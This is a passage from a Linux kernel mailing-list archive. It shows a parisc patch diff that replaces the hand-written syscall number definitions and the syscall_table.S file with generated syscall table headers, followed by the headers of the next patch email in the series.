-#define __NR_tkill              (__NR_Linux + 208)
-#define __NR_sendfile64         (__NR_Linux + 209)
-#define __NR_futex              (__NR_Linux + 210)
-#define __NR_sched_setaffinity  (__NR_Linux + 211)
-#define __NR_sched_getaffinity  (__NR_Linux + 212)
-#define __NR_set_thread_area    (__NR_Linux + 213) /* not used */
-#define __NR_get_thread_area    (__NR_Linux + 214) /* not used */
-#define __NR_io_setup           (__NR_Linux + 215)
-#define __NR_io_destroy         (__NR_Linux + 216)
-#define __NR_io_getevents       (__NR_Linux + 217)
-#define __NR_io_submit          (__NR_Linux + 218)
-#define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220) /* not used */
-#define __NR_free_hugepages     (__NR_Linux + 221) /* not used */
-#define __NR_exit_group         (__NR_Linux + 222)
-#define __NR_lookup_dcookie     (__NR_Linux + 223)
-#define __NR_epoll_create       (__NR_Linux + 224)
-#define __NR_epoll_ctl          (__NR_Linux + 225)
-#define __NR_epoll_wait         (__NR_Linux + 226)
-#define __NR_remap_file_pages   (__NR_Linux + 227)
-#define __NR_semtimedop         (__NR_Linux + 228)
-#define __NR_mq_open            (__NR_Linux + 229)
-#define __NR_mq_unlink          (__NR_Linux + 230)
-#define __NR_mq_timedsend       (__NR_Linux + 231)
-#define __NR_mq_timedreceive    (__NR_Linux + 232)
-#define __NR_mq_notify          (__NR_Linux + 233)
-#define __NR_mq_getsetattr      (__NR_Linux + 234)
-#define __NR_waitid		(__NR_Linux + 235)
-#define __NR_fadvise64_64	(__NR_Linux + 236)
-#define __NR_set_tid_address	(__NR_Linux + 237)
-#define __NR_setxattr		(__NR_Linux + 238)
-#define __NR_lsetxattr		(__NR_Linux + 239)
-#define __NR_fsetxattr		(__NR_Linux + 240)
-#define __NR_getxattr		(__NR_Linux + 241)
-#define __NR_lgetxattr		(__NR_Linux + 242)
-#define __NR_fgetxattr		(__NR_Linux + 243)
-#define __NR_listxattr		(__NR_Linux + 244)
-#define __NR_llistxattr		(__NR_Linux + 245)
-#define __NR_flistxattr		(__NR_Linux + 246)
-#define __NR_removexattr	(__NR_Linux + 247)
-#define __NR_lremovexattr	(__NR_Linux + 248)
-#define __NR_fremovexattr	(__NR_Linux + 249)
-#define __NR_timer_create	(__NR_Linux + 250)
-#define __NR_timer_settime	(__NR_Linux + 251)
-#define __NR_timer_gettime	(__NR_Linux + 252)
-#define __NR_timer_getoverrun	(__NR_Linux + 253)
-#define __NR_timer_delete	(__NR_Linux + 254)
-#define __NR_clock_settime	(__NR_Linux + 255)
-#define __NR_clock_gettime	(__NR_Linux + 256)
-#define __NR_clock_getres	(__NR_Linux + 257)
-#define __NR_clock_nanosleep	(__NR_Linux + 258)
-#define __NR_tgkill		(__NR_Linux + 259)
-#define __NR_mbind		(__NR_Linux + 260)
-#define __NR_get_mempolicy	(__NR_Linux + 261)
-#define __NR_set_mempolicy	(__NR_Linux + 262)
-#define __NR_vserver		(__NR_Linux + 263) /* not used */
-#define __NR_add_key		(__NR_Linux + 264)
-#define __NR_request_key	(__NR_Linux + 265)
-#define __NR_keyctl		(__NR_Linux + 266)
-#define __NR_ioprio_set		(__NR_Linux + 267)
-#define __NR_ioprio_get		(__NR_Linux + 268)
-#define __NR_inotify_init	(__NR_Linux + 269)
-#define __NR_inotify_add_watch	(__NR_Linux + 270)
-#define __NR_inotify_rm_watch	(__NR_Linux + 271)
-#define __NR_migrate_pages	(__NR_Linux + 272)
-#define __NR_pselect6		(__NR_Linux + 273)
-#define __NR_ppoll		(__NR_Linux + 274)
-#define __NR_openat		(__NR_Linux + 275)
-#define __NR_mkdirat		(__NR_Linux + 276)
-#define __NR_mknodat		(__NR_Linux + 277)
-#define __NR_fchownat		(__NR_Linux + 278)
-#define __NR_futimesat		(__NR_Linux + 279)
-#define __NR_fstatat64		(__NR_Linux + 280)
-#define __NR_unlinkat		(__NR_Linux + 281)
-#define __NR_renameat		(__NR_Linux + 282)
-#define __NR_linkat		(__NR_Linux + 283)
-#define __NR_symlinkat		(__NR_Linux + 284)
-#define __NR_readlinkat		(__NR_Linux + 285)
-#define __NR_fchmodat		(__NR_Linux + 286)
-#define __NR_faccessat		(__NR_Linux + 287)
-#define __NR_unshare		(__NR_Linux + 288)
-#define __NR_set_robust_list	(__NR_Linux + 289)
-#define __NR_get_robust_list	(__NR_Linux + 290)
-#define __NR_splice		(__NR_Linux + 291)
-#define __NR_sync_file_range	(__NR_Linux + 292)
-#define __NR_tee		(__NR_Linux + 293)
-#define __NR_vmsplice		(__NR_Linux + 294)
-#define __NR_move_pages		(__NR_Linux + 295)
-#define __NR_getcpu		(__NR_Linux + 296)
-#define __NR_epoll_pwait	(__NR_Linux + 297)
-#define __NR_statfs64		(__NR_Linux + 298)
-#define __NR_fstatfs64		(__NR_Linux + 299)
-#define __NR_kexec_load		(__NR_Linux + 300)
-#define __NR_utimensat		(__NR_Linux + 301)
-#define __NR_signalfd		(__NR_Linux + 302)
-#define __NR_timerfd		(__NR_Linux + 303) /* not used */
-#define __NR_eventfd		(__NR_Linux + 304)
-#define __NR_fallocate		(__NR_Linux + 305)
-#define __NR_timerfd_create	(__NR_Linux + 306)
-#define __NR_timerfd_settime	(__NR_Linux + 307)
-#define __NR_timerfd_gettime	(__NR_Linux + 308)
-#define __NR_signalfd4		(__NR_Linux + 309)
-#define __NR_eventfd2		(__NR_Linux + 310)
-#define __NR_epoll_create1	(__NR_Linux + 311)
-#define __NR_dup3		(__NR_Linux + 312)
-#define __NR_pipe2		(__NR_Linux + 313)
-#define __NR_inotify_init1	(__NR_Linux + 314)
-#define __NR_preadv		(__NR_Linux + 315)
-#define __NR_pwritev		(__NR_Linux + 316)
-#define __NR_rt_tgsigqueueinfo	(__NR_Linux + 317)
-#define __NR_perf_event_open	(__NR_Linux + 318)
-#define __NR_recvmmsg		(__NR_Linux + 319)
-#define __NR_accept4		(__NR_Linux + 320)
-#define __NR_prlimit64		(__NR_Linux + 321)
-#define __NR_fanotify_init	(__NR_Linux + 322)
-#define __NR_fanotify_mark	(__NR_Linux + 323)
-#define __NR_clock_adjtime	(__NR_Linux + 324)
-#define __NR_name_to_handle_at	(__NR_Linux + 325)
-#define __NR_open_by_handle_at	(__NR_Linux + 326)
-#define __NR_syncfs		(__NR_Linux + 327)
-#define __NR_setns		(__NR_Linux + 328)
-#define __NR_sendmmsg		(__NR_Linux + 329)
-#define __NR_process_vm_readv	(__NR_Linux + 330)
-#define __NR_process_vm_writev	(__NR_Linux + 331)
-#define __NR_kcmp		(__NR_Linux + 332)
-#define __NR_finit_module	(__NR_Linux + 333)
-#define __NR_sched_setattr	(__NR_Linux + 334)
-#define __NR_sched_getattr	(__NR_Linux + 335)
-#define __NR_utimes		(__NR_Linux + 336)
-#define __NR_renameat2		(__NR_Linux + 337)
-#define __NR_seccomp		(__NR_Linux + 338)
-#define __NR_getrandom		(__NR_Linux + 339)
-#define __NR_memfd_create	(__NR_Linux + 340)
-#define __NR_bpf		(__NR_Linux + 341)
-#define __NR_execveat		(__NR_Linux + 342)
-#define __NR_membarrier		(__NR_Linux + 343)
-#define __NR_userfaultfd	(__NR_Linux + 344)
-#define __NR_mlock2		(__NR_Linux + 345)
-#define __NR_copy_file_range	(__NR_Linux + 346)
-#define __NR_preadv2		(__NR_Linux + 347)
-#define __NR_pwritev2		(__NR_Linux + 348)
-#define __NR_statx		(__NR_Linux + 349)
-#define __NR_io_pgetevents	(__NR_Linux + 350)
-
-#ifdef __KERNEL__
-#define __NR_syscalls           351
+#define __NR_Linux           0
+#ifdef __LP64__
+#include <asm/unistd_64.h>
+#else
+#include <asm/unistd_32.h>
 #endif
 
-#define LINUX_GATEWAY_ADDR      0x100
+#define LINUX_GATEWAY_ADDR   0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f453997..f899d43 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -923,17 +923,21 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
+#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
 	.align 8
 ENTRY(sys_call_table)
 	.export sys_call_table,data
-#include "syscall_table.S"
+#ifdef CONFIG_64BIT
+#include <asm/syscall_table_c32.h>   /* Compat syscalls */
+#else
+#include <asm/syscall_table_32.h>    /* 32-bit native syscalls */
+#endif
 END(sys_call_table)
 
 #ifdef CONFIG_64BIT
 	.align 8
 ENTRY(sys_call_table64)
-#define SYSCALL_TABLE_64BIT
-#include "syscall_table.S"
+#include <asm/syscall_table_64.h>    /* 64-bit native syscalls */
 END(sys_call_table64)
 #endif
 
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
deleted file mode 100644
index fe3f2a4..0000000
--- a/arch/parisc/kernel/syscall_table.S
+++ /dev/null
@@ -1,459 +0,0 @@
-/*    System Call Table
- *
- *    Copyright (C) 1999-2004 Matthew Wilcox <willy at parisc-linux.org>
- *    Copyright (C) 2000-2001 John Marvin <jsm at parisc-linux.org>
- *    Copyright (C) 2000 Alan Modra <amodra at parisc-linux.org>
- *    Copyright (C) 2000-2003 Paul Bame <bame at parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf <prumpf with tux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2000 David Huggins-Daines <dhd with pobox.org>
- *    Copyright (C) 2000 Grant Grundler <grundler at parisc-linux.org>
- *    Copyright (C) 2001 Richard Hirst <rhirst with parisc-linux.org>
- *    Copyright (C) 2001-2002 Ryan Bradetich <rbrad at parisc-linux.org>
- *    Copyright (C) 2001-2007 Helge Deller <deller at parisc-linux.org>
- *    Copyright (C) 2000-2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
- *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
- *    Copyright (C) 2005-2006 Kyle McMartin <kyle at parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
-/* Use ENTRY_SAME for 32-bit syscalls which are the same on wide and
- * narrow palinux.  Use ENTRY_DIFF for those where a 32-bit specific
- * implementation is required on wide palinux.  Use ENTRY_COMP where
- * the compatibility layer has a useful 32-bit implementation.
- */
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys32_##_name_
-#define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
-#define ENTRY_OURS(_name_) .dword parisc_##_name_
-#define ENTRY_COMP(_name_) .dword compat_sys_##_name_
-#elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys_##_name_
-#define ENTRY_UHOH(_name_) .dword sys_##_name_
-#define ENTRY_OURS(_name_) .dword sys_##_name_
-#define ENTRY_COMP(_name_) .dword sys_##_name_
-#else
-#define ENTRY_SAME(_name_) .word sys_##_name_
-#define ENTRY_DIFF(_name_) .word sys_##_name_
-#define ENTRY_UHOH(_name_) .word sys_##_name_
-#define ENTRY_OURS(_name_) .word parisc_##_name_
-#define ENTRY_COMP(_name_) .word sys_##_name_
-#endif
-
-90:	ENTRY_SAME(restart_syscall)	/* 0 */
-91:	ENTRY_SAME(exit)
-	ENTRY_SAME(fork_wrapper)
-	ENTRY_SAME(read)
-	ENTRY_SAME(write)
-	ENTRY_COMP(open)		/* 5 */
-	ENTRY_SAME(close)
-	ENTRY_SAME(waitpid)
-	ENTRY_SAME(creat)
-	ENTRY_SAME(link)
-	ENTRY_SAME(unlink)		/* 10 */
-	ENTRY_COMP(execve)
-	ENTRY_SAME(chdir)
-	/* See comments in kernel/time.c!!! Maybe we don't need this? */
-	ENTRY_COMP(time)
-	ENTRY_SAME(mknod)
-	ENTRY_SAME(chmod)		/* 15 */
-	ENTRY_SAME(lchown)
-	ENTRY_SAME(socket)
-	/* struct stat is MAYBE identical wide and narrow ?? */
-	ENTRY_COMP(newstat)
-	ENTRY_COMP(lseek)
-	ENTRY_SAME(getpid)		/* 20 */
-	/* the 'void * data' parameter may need re-packing in wide */
-	ENTRY_COMP(mount)
-	/* concerned about struct sockaddr in wide/narrow */
-	/* ---> I think sockaddr is OK unless the compiler packs the struct */
-	/*      differently to align the char array */
-	ENTRY_SAME(bind)
-	ENTRY_SAME(setuid)
-	ENTRY_SAME(getuid)
-	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_COMP(ptrace)
-	ENTRY_SAME(alarm)
-	/* see stat comment */
-	ENTRY_COMP(newfstat)
-	ENTRY_SAME(pause)
-	/* struct utimbuf uses time_t which might vary */
-	ENTRY_COMP(utime)		/* 30 */
-	/* struct sockaddr... */
-	ENTRY_SAME(connect)
-	ENTRY_SAME(listen)
-	ENTRY_SAME(access)
-	ENTRY_SAME(nice)
-	/* struct sockaddr... */
-	ENTRY_SAME(accept)		/* 35 */
-	ENTRY_SAME(sync)
-	ENTRY_SAME(kill)
-	ENTRY_SAME(rename)
-	ENTRY_SAME(mkdir)
-	ENTRY_SAME(rmdir)		/* 40 */
-	ENTRY_SAME(dup)
-	ENTRY_SAME(pipe)
-	ENTRY_COMP(times)
-	/* struct sockaddr... */
-	ENTRY_SAME(getsockname)
-	/* it seems possible brk() could return a >4G pointer... */
-	ENTRY_SAME(brk)			/* 45 */
-	ENTRY_SAME(setgid)
-	ENTRY_SAME(getgid)
-	ENTRY_SAME(signal)
-	ENTRY_SAME(geteuid)
-	ENTRY_SAME(getegid)		/* 50 */
-	ENTRY_SAME(acct)
-	ENTRY_SAME(umount)
-	/* struct sockaddr... */
-	ENTRY_SAME(getpeername)
-	ENTRY_COMP(ioctl)
-	ENTRY_COMP(fcntl)		/* 55 */
-	ENTRY_SAME(socketpair)
-	ENTRY_SAME(setpgid)
-	ENTRY_SAME(send)
-	ENTRY_SAME(newuname)
-	ENTRY_SAME(umask)		/* 60 */
-	ENTRY_SAME(chroot)
-	ENTRY_COMP(ustat)
-	ENTRY_SAME(dup2)
-	ENTRY_SAME(getppid)
-	ENTRY_SAME(getpgrp)		/* 65 */
-	ENTRY_SAME(setsid)
-	ENTRY_SAME(pivot_root)
-	/* I don't like this */
-	ENTRY_UHOH(sgetmask)
-	ENTRY_UHOH(ssetmask)
-	ENTRY_SAME(setreuid)		/* 70 */
-	ENTRY_SAME(setregid)
-	ENTRY_SAME(mincore)
-	ENTRY_COMP(sigpending)
-	ENTRY_SAME(sethostname)
-	/* Following 3 have linux-common-code structs containing longs -( */
-	ENTRY_COMP(setrlimit)		/* 75 */
-	ENTRY_COMP(getrlimit)
-	ENTRY_COMP(getrusage)
-	/* struct timeval and timezone are maybe?? consistent wide and narrow */
-	ENTRY_COMP(gettimeofday)
-	ENTRY_COMP(settimeofday)
-	ENTRY_SAME(getgroups)		/* 80 */
-	ENTRY_SAME(setgroups)
-	/* struct socketaddr... */
-	ENTRY_SAME(sendto)
-	ENTRY_SAME(symlink)
-	/* see stat comment */
-	ENTRY_COMP(newlstat)
-	ENTRY_SAME(readlink)		/* 85 */
-	ENTRY_SAME(ni_syscall)	/* was uselib */
-	ENTRY_SAME(swapon)
-	ENTRY_SAME(reboot)
-	ENTRY_SAME(mmap2)
-	ENTRY_SAME(mmap)		/* 90 */
-	ENTRY_SAME(munmap)
-	ENTRY_COMP(truncate)
-	ENTRY_COMP(ftruncate)
-	ENTRY_SAME(fchmod)
-	ENTRY_SAME(fchown)		/* 95 */
-	ENTRY_SAME(getpriority)
-	ENTRY_SAME(setpriority)
-	ENTRY_SAME(recv)
-	ENTRY_COMP(statfs)
-	ENTRY_COMP(fstatfs)		/* 100 */
-	ENTRY_SAME(stat64)
-	ENTRY_SAME(ni_syscall)	/* was socketcall */
-	ENTRY_SAME(syslog)
-	/* even though manpage says struct timeval contains longs, ours has
-	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_COMP(setitimer)
-	ENTRY_COMP(getitimer)		/* 105 */
-	ENTRY_SAME(capget)
-	ENTRY_SAME(capset)
-	ENTRY_OURS(pread64)
-	ENTRY_OURS(pwrite64)
-	ENTRY_SAME(getcwd)		/* 110 */
-	ENTRY_SAME(vhangup)
-	ENTRY_SAME(fstat64)
-	ENTRY_SAME(vfork_wrapper)
-	/* struct rusage contains longs... */
-	ENTRY_COMP(wait4)
-	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_COMP(sysinfo)
-	ENTRY_SAME(shutdown)
-	ENTRY_SAME(fsync)
-	ENTRY_SAME(madvise)
-	ENTRY_SAME(clone_wrapper)	/* 120 */
-	ENTRY_SAME(setdomainname)
-	ENTRY_COMP(sendfile)
-	/* struct sockaddr... */
-	ENTRY_SAME(recvfrom)
-	/* struct timex contains longs */
-	ENTRY_COMP(adjtimex)
-	ENTRY_SAME(mprotect)		/* 125 */
-	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
-	ENTRY_COMP(sigprocmask)
-	ENTRY_SAME(ni_syscall)	/* create_module */
-	ENTRY_SAME(init_module)
-	ENTRY_SAME(delete_module)
-	ENTRY_SAME(ni_syscall)		/* 130: get_kernel_syms */
-	/* time_t inside struct dqblk */
-	ENTRY_SAME(quotactl)
-	ENTRY_SAME(getpgid)
-	ENTRY_SAME(fchdir)
-	ENTRY_SAME(bdflush)
-	ENTRY_SAME(sysfs)		/* 135 */
-	ENTRY_OURS(personality)
-	ENTRY_SAME(ni_syscall)	/* for afs_syscall */
-	ENTRY_SAME(setfsuid)
-	ENTRY_SAME(setfsgid)
-	/* I think this might work */
-	ENTRY_SAME(llseek)		/* 140 */
-	ENTRY_COMP(getdents)
-	/* it is POSSIBLE that select will be OK because even though fd_set
-	 * contains longs, the macros and sizes are clever. */
-	ENTRY_COMP(select)
-	ENTRY_SAME(flock)
-	ENTRY_SAME(msync)
-	/* struct iovec contains pointers */
-	ENTRY_COMP(readv)		/* 145 */
-	ENTRY_COMP(writev)
-	ENTRY_SAME(getsid)
-	ENTRY_SAME(fdatasync)
-	/* struct __sysctl_args is a mess */
-	ENTRY_COMP(sysctl)
-	ENTRY_SAME(mlock)		/* 150 */
-	ENTRY_SAME(munlock)
-	ENTRY_SAME(mlockall)
-	ENTRY_SAME(munlockall)
-	/* struct sched_param is ok for now */
-	ENTRY_SAME(sched_setparam)
-	ENTRY_SAME(sched_getparam)	/* 155 */
-	ENTRY_SAME(sched_setscheduler)
-	ENTRY_SAME(sched_getscheduler)
-	ENTRY_SAME(sched_yield)
-	ENTRY_SAME(sched_get_priority_max)
-	ENTRY_SAME(sched_get_priority_min)	/* 160 */
-	ENTRY_COMP(sched_rr_get_interval)
-	ENTRY_COMP(nanosleep)
-	ENTRY_SAME(mremap)
-	ENTRY_SAME(setresuid)
-	ENTRY_SAME(getresuid)		/* 165 */
-	ENTRY_COMP(sigaltstack)
-	ENTRY_SAME(ni_syscall)		/* query_module */
-	ENTRY_SAME(poll)
-	/* structs contain pointers and an in_addr... */
-	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
-	ENTRY_SAME(setresgid)		/* 170 */
-	ENTRY_SAME(getresgid)
-	ENTRY_SAME(prctl)
-	/* signals need a careful review */
-	ENTRY_SAME(rt_sigreturn_wrapper)
-	ENTRY_COMP(rt_sigaction)
-	ENTRY_COMP(rt_sigprocmask)	/* 175 */
-	ENTRY_COMP(rt_sigpending)
-	ENTRY_COMP(rt_sigtimedwait)
-	/* even though the struct siginfo_t is different, it appears like
-	 * all the paths use values which should be same wide and narrow.
-	 * Also the struct is padded to 128 bytes which means we don't have
-	 * to worry about faulting trying to copy in a larger 64-bit
-	 * struct from a 32-bit user-space app.
-	 */
-	ENTRY_COMP(rt_sigqueueinfo)
-	ENTRY_COMP(rt_sigsuspend)
-	ENTRY_SAME(chown)		/* 180 */
-	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
-	ENTRY_COMP(setsockopt)
-	ENTRY_COMP(getsockopt)
-	ENTRY_COMP(sendmsg)
-	ENTRY_COMP(recvmsg)
-	ENTRY_SAME(semop)		/* 185 */
-	ENTRY_SAME(semget)
-	ENTRY_COMP(semctl)
-	ENTRY_COMP(msgsnd)
-	ENTRY_COMP(msgrcv)
-	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_COMP(msgctl)
-	ENTRY_COMP(shmat)
-	ENTRY_SAME(shmdt)
-	ENTRY_SAME(shmget)
-	ENTRY_COMP(shmctl)		/* 195 */
-	ENTRY_SAME(ni_syscall)		/* streams1 */
-	ENTRY_SAME(ni_syscall)		/* streams2 */
-	ENTRY_SAME(lstat64)
-	ENTRY_OURS(truncate64)
-	ENTRY_OURS(ftruncate64)		/* 200 */
-	ENTRY_SAME(getdents64)
-	ENTRY_COMP(fcntl64)
-	ENTRY_SAME(ni_syscall)	/* attrctl -- dead */
-	ENTRY_SAME(ni_syscall)	/* acl_get -- dead */
-	ENTRY_SAME(ni_syscall)		/* 205 (acl_set -- dead) */
-	ENTRY_SAME(gettid)
-	ENTRY_OURS(readahead)
-	ENTRY_SAME(tkill)
-	ENTRY_COMP(sendfile64)
-	ENTRY_COMP(futex)		/* 210 */
-	ENTRY_COMP(sched_setaffinity)
-	ENTRY_COMP(sched_getaffinity)
-	ENTRY_SAME(ni_syscall)	/* set_thread_area */
-	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_COMP(io_setup)		/* 215 */
-	ENTRY_SAME(io_destroy)
-	ENTRY_COMP(io_getevents)
-	ENTRY_COMP(io_submit)
-	ENTRY_SAME(io_cancel)
-	ENTRY_SAME(ni_syscall)		/* 220: was alloc_hugepages */
-	ENTRY_SAME(ni_syscall)		/* was free_hugepages */
-	ENTRY_SAME(exit_group)
-	ENTRY_COMP(lookup_dcookie)
-	ENTRY_SAME(epoll_create)
-	ENTRY_SAME(epoll_ctl)		/* 225 */
-	ENTRY_SAME(epoll_wait)
- 	ENTRY_SAME(remap_file_pages)
-	ENTRY_COMP(semtimedop)
-	ENTRY_COMP(mq_open)
-	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_COMP(mq_timedsend)
-	ENTRY_COMP(mq_timedreceive)
-	ENTRY_COMP(mq_notify)
-	ENTRY_COMP(mq_getsetattr)
-	ENTRY_COMP(waitid)		/* 235 */
-	ENTRY_OURS(fadvise64_64)
-	ENTRY_SAME(set_tid_address)
-	ENTRY_SAME(setxattr)
-	ENTRY_SAME(lsetxattr)
-	ENTRY_SAME(fsetxattr)		/* 240 */
-	ENTRY_SAME(getxattr)
-	ENTRY_SAME(lgetxattr)
-	ENTRY_SAME(fgetxattr)
-	ENTRY_SAME(listxattr)
-	ENTRY_SAME(llistxattr)		/* 245 */
-	ENTRY_SAME(flistxattr)
-	ENTRY_SAME(removexattr)
-	ENTRY_SAME(lremovexattr)
-	ENTRY_SAME(fremovexattr)
-	ENTRY_COMP(timer_create)	/* 250 */
-	ENTRY_COMP(timer_settime)
-	ENTRY_COMP(timer_gettime)
-	ENTRY_SAME(timer_getoverrun)
-	ENTRY_SAME(timer_delete)
-	ENTRY_COMP(clock_settime)	/* 255 */
-	ENTRY_COMP(clock_gettime)
-	ENTRY_COMP(clock_getres)
-	ENTRY_COMP(clock_nanosleep)
-	ENTRY_SAME(tgkill)
-	ENTRY_COMP(mbind)		/* 260 */
-	ENTRY_COMP(get_mempolicy)
-	ENTRY_COMP(set_mempolicy)
-	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
-	ENTRY_SAME(add_key)
-	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_COMP(keyctl)
-	ENTRY_SAME(ioprio_set)
-	ENTRY_SAME(ioprio_get)
-	ENTRY_SAME(inotify_init)
-	ENTRY_SAME(inotify_add_watch)	/* 270 */
-	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(migrate_pages)
-	ENTRY_COMP(pselect6)
-	ENTRY_COMP(ppoll)
-	ENTRY_COMP(openat)		/* 275 */
-	ENTRY_SAME(mkdirat)
-	ENTRY_SAME(mknodat)
-	ENTRY_SAME(fchownat)
-	ENTRY_COMP(futimesat)
-	ENTRY_SAME(fstatat64)		/* 280 */
-	ENTRY_SAME(unlinkat)
-	ENTRY_SAME(renameat)
-	ENTRY_SAME(linkat)
-	ENTRY_SAME(symlinkat)
-	ENTRY_SAME(readlinkat)		/* 285 */
-	ENTRY_SAME(fchmodat)
-	ENTRY_SAME(faccessat)
-	ENTRY_SAME(unshare)
-	ENTRY_COMP(set_robust_list)
-	ENTRY_COMP(get_robust_list)	/* 290 */
-	ENTRY_SAME(splice)
-	ENTRY_OURS(sync_file_range)
-	ENTRY_SAME(tee)
-	ENTRY_COMP(vmsplice)
-	ENTRY_COMP(move_pages)		/* 295 */
-	ENTRY_SAME(getcpu)
-	ENTRY_COMP(epoll_pwait)
-	ENTRY_COMP(statfs64)
-	ENTRY_COMP(fstatfs64)
-	ENTRY_COMP(kexec_load)		/* 300 */
-	ENTRY_COMP(utimensat)
-	ENTRY_COMP(signalfd)
-	ENTRY_SAME(ni_syscall)		/* was timerfd */
-	ENTRY_SAME(eventfd)
-	ENTRY_OURS(fallocate)		/* 305 */
-	ENTRY_SAME(timerfd_create)
-	ENTRY_COMP(timerfd_settime)
-	ENTRY_COMP(timerfd_gettime)
-	ENTRY_COMP(signalfd4)
-	ENTRY_SAME(eventfd2)		/* 310 */
-	ENTRY_SAME(epoll_create1)
-	ENTRY_SAME(dup3)
-	ENTRY_SAME(pipe2)
-	ENTRY_SAME(inotify_init1)
-	ENTRY_COMP(preadv)		/* 315 */
-	ENTRY_COMP(pwritev)
-	ENTRY_COMP(rt_tgsigqueueinfo)
-	ENTRY_SAME(perf_event_open)
-	ENTRY_COMP(recvmmsg)
-	ENTRY_SAME(accept4)		/* 320 */
-	ENTRY_SAME(prlimit64)
-	ENTRY_SAME(fanotify_init)
-	ENTRY_DIFF(fanotify_mark)
-	ENTRY_COMP(clock_adjtime)
-	ENTRY_SAME(name_to_handle_at)	/* 325 */
-	ENTRY_COMP(open_by_handle_at)
-	ENTRY_SAME(syncfs)
-	ENTRY_SAME(setns)
-	ENTRY_COMP(sendmmsg)
-	ENTRY_COMP(process_vm_readv)	/* 330 */
-	ENTRY_COMP(process_vm_writev)
-	ENTRY_SAME(kcmp)
-	ENTRY_SAME(finit_module)
-	ENTRY_SAME(sched_setattr)
-	ENTRY_SAME(sched_getattr)	/* 335 */
-	ENTRY_COMP(utimes)
-	ENTRY_SAME(renameat2)
-	ENTRY_SAME(seccomp)
-	ENTRY_SAME(getrandom)
-	ENTRY_SAME(memfd_create)	/* 340 */
-	ENTRY_SAME(bpf)
-	ENTRY_COMP(execveat)
-	ENTRY_SAME(membarrier)
-	ENTRY_SAME(userfaultfd)
-	ENTRY_SAME(mlock2)		/* 345 */
-	ENTRY_SAME(copy_file_range)
-	ENTRY_COMP(preadv2)
-	ENTRY_COMP(pwritev2)
-	ENTRY_SAME(statx)
-	ENTRY_COMP(io_pgetevents)	/* 350 */
-
-
-.ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-.error "size of syscall table does not fit value of __NR_Linux_syscalls"
-.endif
-
-#undef ENTRY_SAME
-#undef ENTRY_DIFF
-#undef ENTRY_UHOH
-#undef ENTRY_COMP
-#undef ENTRY_OURS
-- 
1.9.1



From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 5/5] parisc: syscalls: ignore nfsservctl for other architectures
Date: Tue, 16 Oct 2018 12:33:38 +0530
Lines: 30
Approved: news@gmane.org
Message-ID: <1539673418-7279-6-git-send-email-firoz.khan@linaro.org>
References: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539673351 23356 195.159.176.226 (16 Oct 2018 07:02:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 07:02:31 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 16 09:02:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
